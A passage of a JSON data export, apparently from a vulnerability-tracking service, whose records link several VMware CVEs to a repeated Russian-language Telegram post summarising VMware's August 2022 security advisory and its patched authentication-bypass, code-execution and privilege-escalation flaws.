\u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-28T11:00:07.253336Z"}, {"uuid": "3a4c9fda-a048-4812-a7f5-9beb0d76f754", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-28T11:00:07.330235Z"}, {"uuid": "33ba379b-9f74-40d8-ae4a-b86a8d094b6e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31660", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-28T11:00:07.376045Z"}, {"uuid": "a98a989e-f150-4fe4-8bee-7aee2e3c0cbf", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31661", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-28T11:00:07.468998Z"}, {"uuid": "36a6aea7-66a4-4228-8ad4-f3cf6edf82e4", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31665", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 \u043e\u0431\u043d\u043e\u0432\u043b\u0435\u043d\u0438\u044f \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u0438\u0441\u043f\u0440\u0430\u0432\u0438\u0432 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445. \u0421\u0440\u0435\u0434\u0438 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u043d\u044b\u0445 \u043e\u0448\u0438\u0431\u043e\u043a \u2013 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0430\u044f \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c CVE-2022-31656 (\u043e\u0446\u0435\u043d\u043a\u0430 CVSS: 9.8). \u041e\u043d\u0430 \u0437\u0430\u0442\u0440\u0430\u0433\u0438\u0432\u0430\u0435\u0442 VMware Workspace ONE Access, Identity Manager \u0438 vRealize Automation \u0438 \u043f\u043e\u0437\u0432\u043e\u043b\u044f\u0435\u0442 \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u0443 \u0441 \u0441\u0435\u0442\u0435\u0432\u044b\u043c \u0434\u043e\u0441\u0442\u0443\u043f\u043e\u043c \u043a \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044c\u0441\u043a\u043e\u043c\u0443 \u0438\u043d\u0442\u0435\u0440\u0444\u0435\u0439\u0441\u0443 \u043f\u043e\u043b\u0443\u0447\u0438\u0442\u044c \u0434\u043e\u0441\u0442\u0443\u043f \u0430\u0434\u043c\u0438\u043d\u0438\u0441\u0442\u0440\u0430\u0442\u043e\u0440\u0430 \u0431\u0435\u0437 \u0430\u0443\u0442\u0435\u043d\u0442\u0438\u0444\u0438\u043a\u0430\u0446\u0438\u0438.\n\n\u0421\u0440\u0435\u0434\u0438 \u0434\u0440\u0443\u0433\u0438\u0445 \u043f\u0440\u043e\u0431\u043b\u0435\u043c, \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u043d\u044b\u0445 \u0432 \u043f\u0430\u0442\u0447\u0435, - \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0435 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438, \u0441\u0432\u044f\u0437\u0430\u043d\u043d\u044b\u0435 \u0441 \u0432\u043e\u0437\u043c\u043e\u0436\u043d\u043e\u0441\u0442\u044c\u044e \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u044f \u0437\u043b\u043e\u0443\u043c\u044b\u0448\u043b\u0435\u043d\u043d\u0438\u043a\u043e\u043c \u043f\u0440\u043e\u0438\u0437\u0432\u043e\u043b\u044c\u043d\u043e\u0433\u043e \u043a\u043e\u0434\u0430 (CVE-2022-31658, CVE-2022-31659, CVE-2022-31665), \u043f\u043e\u0432\u044b\u0448\u0435\u043d\u0438\u0435\u043c \u043f\u0440\u0438\u0432\u0438\u043b\u0435\u0433\u0438\u0439 \u0434\u043e \u0443\u0440\u043e\u0432\u043d\u044f root (CVE-2022-31660, CVE-2022-31661, CVE-2022-31664) \u0438 \u0440\u044f\u0434 \u0434\u0440\u0443\u0433\u0438\u0445.\n\n\u041f\u043e\u043b\u043d\u044b\u0439 \u0441\u043f\u0438\u0441\u043e\u043a \u0437\u0430\u0442\u0440\u043e\u043d\u0443\u0442\u044b\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u043e\u0432: Workspace ONE Access (Access), Workspace ONE Access Connector (Access Connector), Identity Manager (vIDM), Identity Manager Connector (vIDM Connector), vRealize Automation (vRA), Cloud Foundation, vRealize Suite Lifecycle Manager.\n\n\u0412 VMware \u043e\u0442\u043c\u0435\u0442\u0438\u043b\u0438, \u0447\u0442\u043e \u043f\u043e\u043a\u0430 \u043d\u0435\u0442 \u0434\u043e\u043a\u0430\u0437\u0430\u0442\u0435\u043b\u044c\u0441\u0442\u0432 \u0441\u0443\u0449\u0435\u0441\u0442\u0432\u043e\u0432\u0430\u043d\u0438\u044f \u044d\u043a\u0441\u043f\u043b\u043e\u0439\u0442\u043e\u0432 \u0434\u043b\u044f \u0434\u0430\u043d\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0442\u0435\u043c \u043d\u0435 \u043c\u0435\u043d\u0435\u0435 \u0440\u0435\u043a\u043e\u043c\u0435\u043d\u0434\u0443\u044e\u0442 \u0432\u0441\u0435\u043c \u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u044f\u043c \u043e\u0431\u043d\u043e\u0432\u0438\u0442\u044c\u0441\u044f.\n\n\u0418\u0441\u0442\u043e\u0447\u043d\u0438\u043a: https://www.vmware.com/security/advisories/VMSA-2022-0021.html\n\n#\u0423\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u044c #VMware", "creation_timestamp": "2026-07-29T00:00:38.675566Z"}, {"uuid": "5431acea-3f64-4104-959b-b139ec38db1c", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2022-31664", "type": "seen", "source": "https://t.me/EchelonEyes/512", "content": "VMware \u0443\u0441\u0442\u0440\u0430\u043d\u0438\u043b\u0430 10 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439, \u0432 \u0442\u043e\u043c \u0447\u0438\u0441\u043b\u0435 \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0443\u044e\n\n\u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f VMware \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b\u0430 